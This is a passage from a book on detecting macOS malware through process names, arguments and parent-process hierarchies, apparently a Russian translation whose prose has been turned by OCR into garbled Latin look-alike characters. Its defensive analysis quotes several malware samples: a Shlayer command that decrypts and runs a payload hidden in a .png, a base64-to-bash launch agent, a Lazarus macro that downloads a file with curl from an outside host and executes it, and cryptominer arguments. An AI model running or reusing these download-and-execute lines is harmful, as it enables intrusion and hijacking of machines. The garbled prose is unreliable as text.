BPe4OHOCHOMN Nporpammoi. HakoHeL, NOCKOMbKY ero MMs Ha4MHaeTCcs ¢ ToYkW, dhann npouecca
ElectroRAT Takxe CKpbIT, 4TO AaeT eLe OAUH TPEBOXHbIN MPU3HaK.

Opyron npumep - CoinMiner, CKpbITHLIV MaiHep KPUNTOBarnOTbI, KOTOPbLIM ucnonbayeT Invisible Internet
Project (I12P) ansa ceoux 3awmdpoBaHHbIX KOMMYHUKauuin. CeTEBOM KOMMOHEHT, peanuayoLLni NOruKy
I2P, Ha3biBaeTcs com.adobe.acc.network, 4tobbl uMmMTUpoBaTh MO Adobe, koTopoe M3BECTHO
YCTaHOBKOW MHOXEeCTBa 4eMOHOB. [1poBepMB cBegEeHUSA O MOANUCK KoAa NpoLecca, MOXHO YBUAETb, YTO
Adobe He noanucbiBana aToT ABOUYHbIN dhann.

Tenepb y Bac MOXeT BO3HUKHYTb BOMPOC, Kak onpeaennTb MMsi npouecca. s npoueccos, He
SABNSIOLLNXCSA NPUMNOXKEHUSIMU, TAKUX Kak NPOrpamMmmbl KOMaHAHOW CTPOKU UINU CUCTEMHBIE EMOHbI, 3TO
nms 0BbIYHO cOOTBETCTBYET (DaNNOBOMY KOMMOHEHTY. OTOT KOMMOHEHT MOXHO NOMy4MTb Yepes CBONCTBO
ak3emnnspa lastPathComponent, ecnu NonHel NyTb XpaHnTcsa B 06bekTe string unv URL. Hanpumep,
Kog B nucTuHre 1-5 nasnekaet nms npouecca ElectroRAT, .mdworker, n coxpaHsieT ero B nepemMeHHon
name.

NSString* path = @"/Users/User/.mdworker";
NSString* name = path.lastPathComponent;

JluctnHr 1-5: N3BneveHne umenun npouecca ElectroRAT

Ecnu npouecc sBnsieTcst NpunoxeHnem, MOXHO co3aaTtb 06bekT NSRunningApplication yepes metoq
runningApplicationWithProcessIdentifier:.

OT0T 00BEKT, Cpeaun Npoyero, NpegocTaBuT NyTb K cBoemy bundle npunoxeHnsa B CBONCTBE aK3emnnsapa
bundleURL. Bundle cogepXuT MHOXeCTBO MHOPMaLMK, HO 30eCb Hanboree BaXXHO UMS NMPUIOXKEHNS.
JIuctnHr 1-6, B3aTbIN M3 hyHKUMN getProcessName B NnpoekTe enumerateProcesses, NoKasbliBaeT, Kak
caenaTtb 9TO ANd 3aaHHOro naeHTudmkaTopa npowuecca.

NSRunningApplication* application =
[NSRunningApplication runningApplicationWithProcessIdentifier:pid];

if(nil != application) {

NSBundle* bundle = [NSBundle bundleWithURL:application.bundleURL];
NSString* name = bundle . infoDictionary[@"CFBundleName"];
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JInctuur 1-6: ViaBneveHne nMeHn NpunoXxeHus

M3 obbekTta NSRunningApplication mbl co3gaem o6bekT NSBundle, a 3aTeM M3BNEKaeM nvs
NpUnoXeHs n3 cBoMCcTBa ak3emnnsapa infoDictionary atoro bundle. Ecnun npouecc He aBnseTcs
nNpuUnoXxeHnem, cosgaHue aksemnnspa NSRunningApplication KOppeKTHO 3aBepLUMTCA Heyaayen.

AprymeHTbI Npouecca

M3BneyeHve u nccriegoBaHne apryMeHTOB KaXxgoro 3arnyLeHHOro npouecca MoXeT NPOnTb LIEHHbIN
CBeT Ha gencteusd npouecca. OHM Takke MOryT Ka3aTbCsa NoA03puUTENbHBIMK caMu no cebe. YCcTaHoBLUUK
nevyanbHO N3BECTHOW BpeaoHOoCHONM nporpammbl Shlayer gaet HarnsgHbin npumep. OH 3anyckaeT
obonoyky bash co cneayLwmmMm aprymeHTamu:

"tail -c +1381 \"/Volumes/Install/Installer.app/Contents/Resources/main.png\" |

openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out /tmp/ZQEifWNV21l -pass
\"pass:0.6effariGgninthgil@.6\" &% chmod 777 /tmp/ZQEifWNV21l ... &% rm -rf /tmp/ZQEifWNV21l"

OTn aprymeHTbl NpeanucbiBatoT bash BbINONHUTL pasnuyHblie KOMaHabl 000N0YKM, KOTOPbIE U3BMNEKaOT
OanTbl N3 anna, MackMpyrLerocs nog n3obpaxeHve ¢ MMEHeM main.png, paclumdpoBLIBAKOT MX B
OBOVYHbIV dhann ¢ MMeHeM ZQEifWNV21, a 3aTeM BbINONHAT U yAansaoT 3TOT ABOUYHbIA dhann. XoTa
caM bash He aABnsieTCa BPeAOHOCHbBIM, MporpaMMHOE U3BnevyeHue 3alimpoBaHHOIrO NCNONMHAEMOro
COAEPXNMOro 13 dpanna . png ykasbiBaeT, YTO NPOUCXOANT YTO-TO NOA03PUTENBHOE; YCTAHOBLLMKN
00ObIYHO He BLIMOMHAT CTOMb TYMaHHO 00gyCLMPOBaHHbIE AEUCTBUA. Mbl Takke nomny4mnu
npeacTaBneHne 0 AENCTBUAX, KOTOPbIE BbINOMHAET YCTaHOBLLUK.

[pyron npumep nporpammel ¢ IBHO NOAO3pUTENbHBIMK aprymeHTamu - Chropex, Takke n3BectHas kak
ChromeLoader. P! 37a BpeOOHOCHas nporpamma yctaHaenmeaeT launch agent, 4Tobbl MOCTOSAHHO
BbINOSTHATL KOMaHAbI, 3akogmpoBaHHble B Base64. OtueT CrowdStrike 6] nokasbisaeT npumep launch
agent Chropex; Huxe Bocnpou3BedeH oparMeHT:

<key>ProgramArguments</key>

<array>

<string>sh</string>

<string>-c</string>

<string>echo aWYgcHMg ... Zmk= | base64 --decode | bash</string>
</array>

[NocnegHasa cTpoka aprymeHTa, HaunHarwasacs ¢ echo, cocTont na 3aakogupoBaHHoro blob n komaHgbl,
KoTopasi 4EKOAMPYET ero, a 3aTeM BbINOSHAET Yepe3 bash. Camo cobow pa3ymeeTcsl, YTO TaKon apryMeHT
HeobblYeH 1 SBNSIETCA CUMMNTOMOM TOrO, YTO YTO-TO MAET He Tak, HanpuMep YTo cUcTemMa NOCTOAHHO

3apakeHa BpeAoHOCHOM nporpammoin. Korga nporpamma obHapykeHus BCTpeTuT 3ToT launch agent u
N3BIEYET €ro KparHe Nogo3puUTeSNIbHbIE apryMEHTbI, OHA JOIMKHA NOAHSTL TPEBOTY.

Kak s ynomvHan paHee, n3BneyeHne apryMmeHToB NporpaMMbl BpEMEHW BbINOTHEHUS MOXET AaTb
npeacraeneHne o ee hyHKUMOHaNbHOCTU. Hanpumep, CKpPbITHBIM MarHep KpunToBantoThl, HANOEHHbIV B
oduuymnanbHom Mac App Store, mackupoBarncs nog 6e3obuaHoe npunoxenune Calendar (puc. 1-1).
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[] Calendar 2 on the Mac App 51 x a

&« C | @ Apple Inc. [US] | https:/jitunes.apple.comjus/appfcalendar-2id4151811497me=12 @ O

Watch Music

Mac App Store Preview

Open the Mae App Store to buy and download apps.

Calendar 2
Qbix, Inc.

a9 Rating
29 Ratings

P

. Free = Offers In-App Purchase
v el
‘ I View in Mac App Store A
o

PucyHok 1-1: be3obugHoe kaneHgapHOe NPUNoXeHWe Um YTo-To Apyroe?

Y1obbl yBUOETh, YTO 3TO NpUnoXxXeHne genaet 6OJ'IbLIJe, YeM KaXeTcd Ha ﬂepBbIVI B3rn4dn, MOXHo
nuccnenoBatb aprymeHThl npouecca. Koraa BeinonHsanock npunoxeHune Calendar 2, CalendarFree. app,
OHO NMOpPOX4aro BCTPOEHHYIO A0OYEPHIO nporpammy M3 doperimBopka Coinstash_XMRSTAK ¢ umeHem
xmr-stak n cneoywownMm apryMmeHTamu:

"--currency",

"monero",

"oo",

"pool.graft.hashvault.pro:7777",

"t

"G81Jc3KHStAWIjjBGzZKCVEnwCeRZrHkrUKj ... 6ophndAuBKuipjpFiizVVYzeAl",

"_p",
"gbix:greg@gbix . com",

Mo Takum 3HaveHusaM, Kak " --currency” 1 "monero", gaxe crnydariHble YATaTENU OOMMKHbI CYyMETb
NOHATb, YTO Xmr-stak - 3TO ManHep KpUNToBantoTbl. XOTA xmr-stak aBnaeTca neruTMMHbIM
NPUNOXXeHNeM KOMaHAHOW CTPOKU, ero CKpbITHOE pa3BepTbiBaHWE Yepes becnnaTHoe NpUoXeHue
Calendar, pasmewyeHHoe B Mac App Store Apple, nepexoguT rpaHuly onyCTUMOro.

MpumeyvaHume. MNocne Toro kak s onybnvkoBan nogpobHyto 3anuck B 6riore 06 3ToM
NPUNOXeHUN, 71 Apple yoanuna npunoxeHue n obHosuna Terms and Conditions App Store,
SIBHO 3anpeTuB MavHWHI Ha yCTPONCTBE. (8]

HaKOHeLL, n3ernievyeHne apryMmeHToB npouecca MOXeT NoMOYb, eCinn Bbl pelunTe, 4To npouecc
nogo3puTeneH u TpebyeT ganbHenwero aHanusa. Hanpuvep, B Havane 2023 roga s o6Hapy»xun
BPeOOHOCHBIN updater, CBSA3aHHbIN C MIO4OBUTLIM CEMENCTBOM BPeOOHOCHLIX Nporpamm Genieo,
KOTOprI7I ocTaBarncsa H606Hapy>KeHHbIM MOYTU NATb NeT. 4] OLI,HaKO OKa3alnocCb, 4YTO NMNOCTOAHHO
paboTtatowmin updater ¢ nmeHem iWebUpdate He BbINOMHAET CBOK OCHOBHYHO NOTMKY, €CMY HE 3anyLLleH C
npaBuUibHBIMK apryMeHTamMm, Takumm kak update, a Takke C= 1 3aTeM MAEHTUUKATOP KITMEHTA.

OTO 03Ha4aeT, YTO ecn Bbl NbITAETECH aHANM3NPOBaTb ABOUYHbLIN dhain iWebUpdate B oTnaguunke un
BhINOSIHSIETE ero 6e3 oXnaaemMbix apryMeHTOB, OH MPOCTO 3aBEPLLUMTCS. XOTS METOAbI CTaTUYECKOrO
aHanuaa, Takme kak obpaTHasa paspaboTka, Mornu Gbl BbIIBUTb 3TU HEOOXOANMbIE apryMeHTbl, ropasaio
npoLLe n3erneydb UX U3 NOCTOSIHHO paboTatoLlero npowecca updater Ha 3apa)xeHHOW cucTeme.
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WTak, kak nony4mMTb aprymMeHTbl Mpon3BosibHOro npouecca? OauH cnocob - ncnonb3oBatb API sysctl,
BbI3BaHHbIN ¢ KERN_PROCARGS2. MpoekT enumerateProcesses NpUMEHSAET 3TOT NOAXOA B yAa4yHO
HasBaHHOW hyHKLUMK getArguments. [ony4mB NpoM3BOMbHbLIM MAEHTU(UKATOP Npouecca, aTa PyHKLNA
n3BreKaeT 1 BO3BpaLLaeT ero apryMmeHTbl. PyHKUMS JOBOSbHO COXHAsA, NO3TOMY S pa3odbio ee Ha
pasgensbl, Hadas ¢ Bbi3oBoB APl sysctl (nuctuHr 1-7).

int mib[3] = {@};

int systemMaxArgs = 0;
size_t size = sizeof(systemMaxArgs);

CTL_KERN;
KERN_ARGMAX;;

mib[@]
mib[1]

sysctl(mib, 2, &systemMaxArgs, &size, NULL, 0);
char* arguments = malloc(systemMaxArgs);
Jluctunr 1-7: Beigenenue bydbepa ans aprymeHToB npouecca

Otomy API TpebyeTcs BbixogHom Bydep Ansg XpaHeHus apryMeHToB npouecca, No3ToMy cHayana Mbl
Bbi3biBaeM ero ¢ KERN_ARGMAX, 4yTobbl onpedenvTb UX MakCcuMmarnbHbIi pasmep. 34ecCb Mbl yKkasbiBaeMm 3Ty
uHopmaumo B Maccuse management information base (MIB), 4yncno anemMeHTOB KOTOPOro Takke
nepepaeTca kak aprymeHT sysctl. 3atem mbl Bolgensem bydep npaBunbHOro pasmepa.

Koraa 6ydep BbigeneH, MOXXHO NOBTOPHO Bbi3BaTb AP| sysctl. Ho cHayana Mbl MOBTOPHO
MHULManuanpyem maccms MIB 3HayeHusamun, Takmmm kak KERN_PROCARGS2, 1 ngeHTugukaTtopom
npovecca, apryMeHTbl KOTOPOro HAaC UHTEPECYHOT (MCTUHT 1-8).

size = (size_t)systemMaxArgs;

mib[@] = CTL_KERN;
mib[1] = KERN_PROCARGS2;
mib[2] = processID;

sysctl(mib, 3, arguments, &size, NULL, ©);
JluctnHr 1-8: MNMonyyeHue aprymeHTOB npouecca

Mocne aToro BbI3oBa Gydhep ByaeT cogepxaTb apryMeHThbl NpoLiecca, cpeaun npoyero. Tabnuua 1-1
onncbiBaeT CTPYKTypy Bydepa.

Tabnwuua 1-1: dopmart 6ydepa KERN_PROCARGS2

KonuyecTtBO aprymeHTOoB MyTb npouecca AprymeHThbl

int argc <full path of process> char* argv[0@], argv[1] n Tak fanee

CHavana MOXHO M3BfeYb KONMMYEeCTBO apryMeHTOB, TPAAMLMOHHO Ha3biBaemoe argc. MoxHO nponycTutb
nyTb Npouecca, YToObl NEPENTU K HAYany aprymeHToB, TPaANLMOHHO Ha3blBaEMbIX argv, eCrv TONbKO
BaM He yganocb Nonyymtb NyTb npouecca apyrum cnocobom. Kaxabin aprymeHT 3aBepluaetcs NULL, 4To
Jenaet nssneveHne npsamonuHenHbiM. Kog B nuctuHre 1-9 nokasblBaeT, Kak caenaTtb aTO, COXPaHss
KaXXOblIl apryMeHT kak CTPOKOBLIN 00beKT B Maccuee. OBpaTute BHMMaHUe, YTO NnepeMeHHas arguments -
3TO yXe 3anornHeHHbIn Bydep, nepegaHHbii APl sysctl B nuctuHre 1-9.

int numberOfArgs = 0;
NSMutableArray* extractedArguments = [NSMutableArray array];

memcpy (&numberOfArgs, arguments, sizeof(numberOfArgs));
parser = arguments + sizeof(numberOfArgs);
while(NULL != *++parser);

while(NULL == *++parser);

17



while(extractedArguments . count < numberOfArgs) {

[extractedArguments addObject:[NSString stringWithUTF8String:parser]];
parser += strlen(parser) + 1;

}
JlnctnHr 1-9: Pasbop aprymMeHTOB npolecca

Koa cHavana n3snekaeT KONMYECTBO apryMeHTOB, Haxodsleecs B Havane bydepa aprymeHToB. 3atem
OH nponyckaeT 3To 3HayeHue, 6anTbl NyTH 1 Bce 3aBepLuatome GanTtol NULL. Tenepb ykasarternb parser
HaxoauTcsa B Havane pakTuyecKkux apryMmeHToB (argv), KoTopble KoA u3Bnekaet no ogHomy. Ctont
OTMETUTb, YTO MEepBbIV apryMeHT, argv[ 0], Bceraa 6yaet nyTeM nporpammbl, €CNM TONbKO NpoLece
CKPbITHO HE M3MEHWI cam cebsl.

Ecnun BbINONHUTL NPOEKT enumerateProcesses, OH JOMKEH BbIBECTU CNeayoLLyio MHpopmaLmio, korga
BCTPETUT YNOMSIHYTBIN BbiLLEe npouecc xmr-stak, NokasaHHbIN 34eCb C naeHTMdMKaTopoM npolecca
14026, KOTOPbI CKPBbITHO MaWHUT KPUNTOBASOTY, ECAN HNYEro He NOA03pEeBaOLLMI NOSb3oBaTESNb
3anyctun CalendarFree. app:

% ./enumerateProcesses

(14026) : /Applications/CalendarFree.app/Contents/Frameworks/
Coinstash_XMRSTAK.framework/Resources/xmr-stak

arguments: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.
framework/Resources/xmr-stak",

"--currency",

"monero",

"_o",

"pool.graft.hashvault.pro:3333",

"y,
"G81Jc3KHStAWIjjBGzZKCVENnwCeRZrHkrUKjiONSDLtI6Evhhj43DYP7dMrYczz5KYjfw
6ophndAuBKuipjpFiizVVYzeAl",

"p",
"gbix:greg@gbix . com",
)
[oBonbHO HEOOLIYHO, YTOOLI MpOLECC 3anycKancs ¢ TakuMu oBLLMPHBLIMK apryMmeHTamn. Kpome Toro, atu
apryMeHTbl SBHO HAMeKatoT Ha TO, YTO NPOLECC SBNAETCA ManHepOM KpunToBantoThl. Mbl MOXeMm
NoAKpPenuTb 3TOT BbIBOA TeM hakToM, YTO ero poautens, CalendarFree.app, NoTpebnseT orpoMHoe
konunyecTtBo pecypcoB CPU, kak Bbl yBuauTe ganee B 3701 rnase.

Uepapxuun npoueccoB

Vepapxum npoueccoB - 3TO OTHOLLEHNSA MexXay npoueccaMmu, Hanpumep Mexay poautenem u ero
AoyepHuMmM npoueccamu. Mpu obHapyxeHnn BpeaAOHOCHbBIX NPorpaMM Bam NOHagobuTcs ToYHoe
npeacTaBneHme 3TX OTHOLLEHWUI NO HECKOMNBbKUM MpudmMHam. Bo-nepBbix, nepapxmm npoLeccoB MoryT
NomMoYb 0BHAPYXUTb NepBOHaYasnbHble 3apaxeHust. Vliepapxmm npoLeccoB Takke MOryT packpbiBaTb
TPyAHO oBHapy>xuBaemble BpeAOHOCHbIE MPOrpamMmbl, KOTOPbIE UCTONb3YIOT CUCTEMHbIE ABONYHbIE
oannbl 3noHaMepeHHbIM 06pasom.
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PaccmoTpum npumep. B 2019 rogy rpynna Lazarus, oTHocswasics k advanced persistent threat (APT),
Bbina 3ameveHa B ucnonb3osaHum Office-0oKyMeHTOB ¢ Makpocamu AN ataku Ha nonb3oBaTenen
macOS. Ecnu nonb3oBaTtenb OTKPbIBaI JOKYMEHT U paspeLuan BbiNOMHEHNE MakpOCOB, KO, 3arpyxar u
BbIMNOSHAN BP€OOHOCHYO NporpamMmmy, M3BECTHYHO Kak Yort. BoT (pparmeHT Makpoca, MCnofnb30BaHHOIO B
aTake:

sur = "https:// nzssdm . com / assets / mt .dat"
spath = "/tmp/": i =0

Do

spath = spath & Chr(Int(Rnd * 26) + 97)
i=1i+1

Loop Until i > 12
spath = spath

res = system("curl -o " & spath & " " & sur)

res = system("chmod +x " & spath)

res = popen(spath, "r")
Mockonbky Kof Makpoca He obdycumMpoBaH, NOHATL ero nerko. CHavana oH 3arpyaet chann ¢
https://nzssdm.com/assets/mt.dat B katanor /tmp ¢ noOMoLL0 curl, 3aTemM ycTaHaBnMBaeT Ans
Hero npasa Ha BbIMOSIHEHWE U NOCHEe 3TOro 3anyckaeT 3arpyXeHHbln pann mt.dat. PucyHok 1-2
NnoKasbIBaeT 3Ty aTtaky C TOYKM 3pEeHUs nepapxmm npoueccos.
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Parent

( /Applications/Word.app ]
<
LProcess identifier: 1000 J

Child
4 N
Jusr/bin/curl

Process identifier: 1001

Parent process identifier: 1000
o /

Child
4 I
/bin/chmod

Process identifier: 1002
Parent process identifier: 1000

- /
Child
- N

/tmp/<path to malware>

Process identifier: 1003
Parent process identifier: 1000

- S

PucyHok 1-2: YnpolieHHas nepapxums npoueccoB aTaku rpynnsl Lazarus

XoTsa aTa gnarpamma crnerka ynpoLieHa, NoCKomnbKy onyckaeTt fork n ncnonb3yet CUMBONUYECKME
3HaYeHNs MAEHTUUKATOPOB NPOLLECCOB, OHAa TOYHO OTpaXaeT TOT (hakT, 4To curl, chmod n BpeaoHocHas
nporpamma BbIrnsagaT kak godepHue npoueccel Microsoft Word. O6bl4HO nv gokymeHTsl Word nopoxaatoT
curl, yTobbl 3arpyxaTb 1 3anyckaTb ABOMYHbIE hannbl? KoHeyHo HeT! [laxe ecnu Bbl HE MOXeTe
ckasaTb, YTO MMEHHO AenaroT 3TU AoYepHUe npoueccol, cam dakt, uto Office-goKyMeHT nopoXxaaeT ux,
ABNSETCA SAIBHbIM MHAMKATOPOM aTaku. bonee Toro, 6e3 nepapxmm NpoLEeccoB OOHAPYXXUTb STOT acnekT
3apaxeHus 66110 6bl OTHOCUTENBHO TPYAHO, NOCKONbKY curl u chmod - NErNTUMHbIE CUCTEMHbIE
OBOWUYHbIE (hannbl. [10]
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Mouck poautens

Mepapxum npoueccoB CTPOATCA CHM3Y BBEPX: OT A0YEPHEro npouecca K poauTento, NpapoanTento 1 Tak
panee. Ha nepBbin B3rnaa, Ans 3agaHHOro npouecca MOXHO fnerko chopmMmnpoBaTh nepapxumio Yepes yneH
e_ppid ero cTpykTypbl kp_eproc, Haxogsiencs B CTpykType kinfo_proc. 3Tu CcTpykTypbl,
onpegeneHHsle B sys/sysctl.h, nokasaHbl 30ech:

struct kinfo_proc {

struct extern_proc kp_proc; /* proc structure */

struct eproc {
struct proc* e_paddr; /* address of proc */

pid_t e_ppid; /* parent process id */

} kp_eproc;
s

e_ppid - aTo ngeHTUdMUKaTOP POANTENBCKOrO NpoLIecca, U ero MoOXHO n3Bnedb Yepes APl sysctl, kak B
dyHKUMKN getParent npoekTta enumerateProcesses (nuctuHr 1-10).

pid_t parent = -1;
struct kinfo_proc processStruct = {0};
size_t procBufferSize = sizeof(processStruct);

int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, processID};
sysctl(mib, 4, &processStruct, &procBufferSize, NULL, ©);

parent = processStruct.kp_eproc.e_ppid;
JluctnHr 1-10: N3BneveHne naeHTnrkaTopa poanTenbLCKOro npolecca

Koa cHavana nHuumanuanpyeT pasnmyHble apryMeHTbl, BKIoYast MaccuB CO 3HAYEHUSIMM, KOTOpble
yKasbIBaloT cMCTeMe BEPHYTb MHAdopMaLmio 06 ykazaHHOM npouecce. APl sysctl BbINONHWT 3TOT 3anpoc,
BEPHYB 3anofHeHHyto CTPYKTypy kinfo_proc. 3atem Mbl nsenekaem ns Hee NaeHTUUKATOP pPoanTens
npouecca.

BoT BbIBOA enumerateProcesses, KOraa oH BCTpeYaeT 3K3eMmnnisip curl, NOpoXAEHHbI BPEAOHOCHBLIM
OOKYMEHTOM:

% ./enumerateProcesses
(2286):/usr/bin/curl
parent: /Applications/Microsoft Word.app/Contents/Mac0S/Microsoft Word (2283)

Kopg 6e3 Tpyaa cmor onpeaenvTtb poguTensckuii npouecc kak Microsoft Word.
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K coxxaneHuto, nepapxum npoL,eccoB, NOCTPOEHHbIE C UCMONb30BaHMEM 3TOrO 3Ha4YeHus e_ppid, Yacto
OKa3bIBalOTCA HE CTOMb NOSE3HbIMKU, MOTOMY YTO 3TO 3HAYEHME HepPeaKo coobLLaeT ngeHTugrkaTop
poauTEeNnbCKOro npouecca 1, KOTopbln COOTBETCTBYET launchd, npoueccy, oTBevatoLemMy 3a 3anyck
Kaxxgoro 6e3 uckntoyeHus npouecca. Ytobbl HabnogaTe Takoe NOBeAEHUE, 3aNyCTUTE NPUNOXEHNE,
Hanpumep Calculator, yepes Spotlight, Finder unu Dock. 3aTtem ncnonb3yinTte yTunuTy ps ¢ napameTpom
KOMaHAHOW CTpoKU ppid, nepeaas en naeHTUdukaTop npouecca. Bbl 4OMKHbLI YBUAETD, YTO €ro
naeHTudumkatop pogutens (PPID) AeAcTBUTENBHO paBeH 1:

% ps aux
USER PID ... COMMAND
Patrick 2726 ... /System/Applications/Calculator.app/Contents/Mac0S/Calculator

% ps aux -o ppid 2726
USER PID ... PPID
Patrick 27264 ... 1

YT1unuta enumerateProcesses coobuiaeT Ty Xe, OOBOJIbHO 6ecnone3Hyro Vchbopmau,mo:

% ./enumerateProcesses
(2726):/System/Applications/Calculator.app/Contents/Mac0S/Calculator
parent: (1) launchd

XoTsa TexHudyeckn launchd oeicTBUTENBHO ABNSETCA poaUTENeM, OH He JaeT HaM UHdopMaLnK,
HeobxoauMoii AN oBHapyKeHNa BpedoHOCHOW akTMBHOCTU. Hac Gonblue MHTepecyeT npoLecc,
OTBETCTBEHHbIN 33 3aMyCK A0YEpHEro.

Bo3aBpat npouecca, OTBETCTBEHHOro 3a NOpoXAeHue Apyroro

YT06bI BEPHYTb MpOLIECC, OTBETCTBEHHbIV 3@ NOPOXAEHNE OPYroro npouecca, MOXHO UCMOoNb3oBaTh
3akpbITelin APl Apple responsibility get_pid_responsible_for_pid. OH npuHumaeT
naeHTudmKaTop npouecca 1 Bo3BpallaeT POAUTENS, KOTOPOro CYMTaAET OTBETCTBEHHbLIM 3a AOYEPHUN
npouecc. XoTs BHyTpeHHee YCTPOWCTBO 3TOro 3akpbiToro AP BbIXOOWUT 3a paMKu AaHHOro 06CyaeHus,
Mo CYTW OH onpalunBaeT AP0, KOTOpOe XPaHUT 3anucb 06 OTBETCTBEHHOM poauTene BO BHYTPEHHEWN
CTPYKType npouecca.

MockonbKy 3TO He Ny6nuyHbIA API, Mbl 4OMKHBI AMHAMUYECKN pas3peLlnTb ero ¢ nomollbio APl dlsym.
JluctnHr 1-11 n3 dyHkuumn getResponsibleParent npoekta enumerateProcesses nokasbiBaeT Kof,
peanuaylomi aTy 3agady.

#import <dlfcn.h>
pid_t getResponsibleParent(pid_t child) {

pid_t (*getRPID)(pid_t pid) =
dlsym(RTLD_NEXT, "responsibility_get_pid_responsible_for_pid");

JluctnHr 1-11: AnHamnuyeckoe paspeLueHne 3akpbiTon yHKLUN

OTOT Kof paspellaeT pyHKUMIO MO MMEHM, COXPaHAS pe3ynbTaT B yka3aTterne Ha yHKLMI0 C UMEHEM
getRPID. Mockonbky aTa yHKUMA NpUHMMaET pid_t kak eAMHCTBEHHbIN apryMeHT 1 Takke BO3BpallaeT
naeHTMdurKkaTop OTBETCTBEHHOIO Npouecca Kak pid_t, Bbl BUAMTE, YTO yKka3aTernb Ha PyHKUM0 00BbSBNEH
Kak pid_t (*getRPID)(pid_t pid).

MpoBepuB, 4TO DYHKLUSA AENCTBUTENBHO HaAEHa, MOXHO Bbi3BaTb €€ Yepea yKa3aTenb Ha yHKLMIO, KakK
nokasaHo B nucTtuHre 1-12.
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if(NULL != getRPID) {

pid_t parent = getRPID(child);
}

JlnctnHr 1-12: BeizoB paspelueHHon dyHKUUK

Tenepb, Korga enumerateProcesses BCTpevaeT OUEPHUI NpoLEecc, HanpuMmep oguH 13
XPC-peHagepepos Web Content Safari, nokasaHHbin kak Safari Web Content unum
com.apple.WebKit.WebContent, kog B enumerateProcesses ULWET U POANTENS, N OTBETCTBEHHbIN
npouecc:

% ./enumerateProcesses

(1e540)/System/Library/Frameworks/WebKit.framework/Versions/A/
XPCServices/com.apple.WebKit.WebContent.xpc/Contents/Mac0S/
com.apple.WebKit.WebContent

parent: (1) launchd

responsible parent: (8943) Safari
[NepBoe OH genaeT, NpoBepsisi e_ppid npouecca, a BTopoe - Bbi3biBas API
responsibility_get pid_responsible_for_pid. B 3Tom crnydyae OTBETCTBEHHbIV Npouecc AaeT
OonbLUe KOHTEKCTa M NO3TOMY LiEHHEE Ans MOCTPOEHUSA TOYHbIX Mepapxmi NpoLEecCcoB.

K coxaneHuto, Ans npunoXxeHun, 3anyLleHHbIX NoNb3oBaTeNEM, YTO MOXET BKNOYaTb 1 BPE4OHOCHbIE
nporpaMmbl, 3TOT OTBETCTBEHHbLIN POAUTENb MOXET OKa3aTbCsi CaMUM npoLeccoM. Ytobbl yBuaeTb 310,
3anyctute npunoxeHue Calculator ABOMHBIM LLENYKOM MO ero 3Hayky npunoxexus B Finder. 3aTtem cHoBa
3anycTute enumerateProcesses:

% ./enumerateProcesses
(2726):/System/Applications/Calculator.app/Contents/Mac0S/Calculator

parent: (1) launchd

responsible parent: (2726) Calculator
,D,OBOJ'II:HO OecnonesHo: yTunnTa onpenendeTt OTBeTCTBEHHbIM poauTesiemMm cam Calculator. K c4yacTblo,
€CTb ellle OJHO MECTO, rae MOXHO NnouckaTb 3Ty MHpOpMaLMIO, XOTSA ANst 3TOro NpuaeTcst OTCTyNUTb
Has3aj BO BPEMEHMU.

MonyyeHune nHdopmauum ¢ nomowbio APl Application Services

Xots API Application Services ocduumnaneHo yctapenu, oHu paboTatoT B nocneaHmx sepcmax macOS, n
pasnuyHble gemoHbl Apple Bce ewe ncnonbaytoT ux. API Application Services
ProcessInformationCopyDictionary Bo3BpallaeT crioBapb, CogepXalimin MHOXECTBO CBEe4EHUN,
BKIMOYasa UCTUHHOro poauTens npouecca. Bmecto ngeHtudukatopa npouecca atot APl npyuHumaet
cepuiHbIn HoMep npoLecca (psn). CepuiiHble HoOMepa NpPOLLECCOoB - NPeALeCTBEHHUKM B6onee nNpuBbIYHbIX
naeHTUMKaTopoB NpoLeccoB. Tun cepMmnHoro Homepa npotecca - ProcessSerialNumber,
onpegeneHHbin B include/MacTypes . h. YToObl NONy4nThL CEPUIAHBIA HOMEP MpoLecca Mo 3agaHHOMY
naeHTudurkaTopy npouecca, ncnonedynte yHKUMO GetProcessForPID, kak noka3aHo B nuctuHre 1-13.

#import <AppKit/AppKit.h>

pid_t pid = <some process id>;
ProcessSerialNumber psn = {kNoProcess, kNoProcess};

GetProcessForPID(pid, &psn);
printf("Process Serial Number (high, low): %d %d\n", psn.highLongOfPSN, psn.lowLongOfPSN);

JluctnHr 1-13: MNonyyeHune cepuinHoro Homepa npotecca
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DyHKLMA NpUHMMAaET MAeHTUdUKaTOp NpoLiecca U BbIXOAHOM yka3aTenb Ha ProcessSerialNumber,
KOTOPbI OHa 3anosiHAEeT CEpUHLIM HOMEPOM MnpoLiecca.

Jloruky nonyyeHns naeHtTucukaTtopa poauTtens yepes CepuinHblii HOMep MOXHO HanTN B OYHKUUK C
umeHem getASParent B npoekTe enumerateProcesses. JIUCTMHr 1-14 coaepXxnt doparMeHT 3Ton
dYHKUMN, KOTOPbI TakKe NOKa3sblBaeT, Kak OHa Bbl3blBaeT PYHKLMIO
ProcessInformationCopyDictionary gna nonyyeHus cBegeHun o ykaszaHHOM npouecce.

NSDictionary* processInfo = nil;
ProcessSerialNumber psn = {kNoProcess, kNoProcess};

GetProcessForPID(pid, &psn);

processInfo = CFBridgingRelease(ProcessInformationCopyDictionary(&psn,
(UInt32)kProcessDictionaryIncludeAllInformationMask));

JluctnHr 1-14: MNonyyeHue crnoBaps MHPOPMaLMK O npoLiecce

CnenyeTt nomMHUTb, 4TO cTapble API, Bo3Bpaluatowme o6bekTol CoreFoundation, He ucnoneayoT
automatic reference counting (ARC). 3T0 03Ha4aeT, YTO BaM HYXHO SIBHO YKa3aTb Cpefe BbINONHEHNS,
KaK yrnpaBnsaTb o6bekTaMu, 4Tobbl M36exaTb yTevek namatu. 340echb 3TO 03HaYaeT, YTO BO3BPALLEHHbIN
cnoBapb MHdopMaumm o npouecce 13 Bbl3oBa ProcessInformationCopyDictionary gomkeH 6biTb
nnbo siBHO ocBoboxaeH Bbi3oBOM CFRelease, nubo npeobpasoBaH B 06bekT NSDictionary n nepenaH
nog ynpasneHve ARC Bbi3oBoM CFBridgingRelease. Kog BbIOMpaeT BTOPO BapmaHT, NOCKOSIbKY
paboTtaTb ¢ 06bekTamm NS* npouye, 4em co cTapbiMu obbekTamu CF*, 1 NpU 3TOM HE HY>XHO SIBHO
ocBObOXAaTb NaMATh.

